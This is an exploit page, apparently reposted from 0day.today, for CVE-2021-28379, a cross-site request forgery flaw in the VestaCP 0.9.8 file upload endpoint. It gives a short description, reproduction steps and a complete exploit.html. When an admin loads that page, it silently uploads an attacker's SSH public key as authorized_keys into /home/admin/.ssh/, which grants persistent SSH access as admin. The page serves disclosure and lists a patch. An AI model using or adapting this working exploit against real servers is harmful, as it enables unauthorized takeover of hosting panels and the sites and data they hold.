VestaCP 0.9.8 - File Upload CSRF Vulnerability

🗓️ 17 Mar 2021 00:00:00Reported by zdtType

zdt🔗 0day.today👁 192 Views

VestaCP 0.9.8 - File Upload CSRF Vulnerability, allows unauthorized upload and creation of files and folder

Reporter	Title	Published	Views	Family All 10
Circl	CVE-2021-28379	15 Mar 202111:28	–	circl
CNNVD	Vesta Control Panel 代码问题漏洞	15 Mar 202100:00	–	cnnvd
CVE	CVE-2021-28379	15 Mar 202105:56	–	cve
Cvelist	CVE-2021-28379	15 Mar 202105:56	–	cvelist
Exploit DB	VestaCP 0.9.8 - File Upload CSRF	17 Mar 202100:00	–	exploitdb
EUVD	EUVD-2021-15061	7 Oct 202500:30	–	euvd
NVD	CVE-2021-28379	15 Mar 202106:15	–	nvd
Packet Storm	VestaCP 0.9.8 Cross Site Request Forgery	17 Mar 202100:00	–	packetstorm
Prion	Code injection	15 Mar 202106:15	–	prion
RedhatCVE	CVE-2021-28379	9 Jan 202611:24	–	redhatcve

# Exploit Title: VestaCP 0.9.8 - File Upload CSRF
# Exploit Author: Fady Othman 
# Vendor Homepage: https://vestacp.com/
# Software Link: https://github.com/myvesta/vesta
# Version: Vesta Control Panel (aka VestaCP) through 0.9.8-27 and myVesta through 0.9.8-26-39
# CVE ID: CVE-2021-28379
# Patch: https://github.com/myvesta/vesta/commit/3402071e950e76b79fa8672a1e09b70d3860f355

## Description
I found that the checks performed by the upload functionality are insufficient, the upload functionality is vulnerable to CSRF, in addition it allows uploading files and creating folders under "/tmp" and under the home folder (usually "/home/admin"), the later is the one that is important for this exploit to work.

I was able to use this to create a ".ssh" folder in the admin home and upload "authorized_keys" file which allowed me to access the server later as "admin" using SSH.

Since this relies on a *CSRF* the admin has to visit a link, please note that *sshd* is already installed by *VestaCP* when using the default installation script so no need to install it, also please note that files can be replaced so even if the admin has already added "authorized_keys" file, it will be replaced with the attacker's file.

Affected endpoint: "/upload/index.php", i.e. "/upload/index.php?dir=/home/admin/.ssh/"

## Steps to reproduce.
1. Install the latest version of VestaCP in your machine by following the instructions at https://vestacp.com/install/.
2. Login as the admin in Firefox, then open "exploit.html".
3. ssh into the machine using 'ssh -i id_rsa [email protected]', now you have access as admin.

# exploit.html 

<html>
<head> 
<script>

function exploit() {
	var mystring = `ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnXyu8AsFjbuE5YMUa74PrNkO9coGWnw59v/cSVMgOZVpx+UziT0BRFurhVkyujTCXdz6OlN4yFZjCVMbAgZ7/liNu9ecGSGNcUTC+Br5YawlG9QICEaJ/bK32+luKdM1c5ONbRby+ARFsC9+iZu6IkAPnSRntbNgDZpuej/cKfm85EnvdQPAijvs4+899w2+rGvhSQ0wH4l1KNlV1yVoAsg0PFYGDnbygGA5Eo4k9LHwa2Hsm5b2Q5GhqlEUCgYFOjScuORczwhctVtp4VWKXiFoMLJupNhot/OqUXkoNgE6UUd75XcLNGMBiyfLpfXO2u1sGsw5nTiKvNn+1YdC7AKHWBjxl3wDY8hMf/gcveV4Nh45mMUu0p6kptDdVhELeeys8euHiTWOk+FLCKkps9eLiyl8gQUfWcFVj0dgqYVJne2S1U33wnofRhj0fGWAJf14xHhwnTi7u58u+0U1NJchOTHAaeX1Swqk2J34Ny9GwD01a71DFIIcIbgcef6c= [email protected]`;
	var fileContent = new Blob([mystring], {
    		type: 'text/plain'
	});
	myFormData = new FormData();
	myFormData.append("files", fileContent, "authorized_keys");
	fetch("https://localhost:8083/upload/index.php?dir=/home/admin/.ssh/", {
    	method: "post",
    	body: myFormData,
    	credentials: "include"
}); }
</script>

</head>

<body onload="exploit();">


</body>
</html>

#  0day.today [2021-09-28]  #

17 Mar 2021 00:00Current

0.2Low risk

Vulners AI Score0.2

CVSS 26.8

CVSS 3.18.8

EPSS0.0329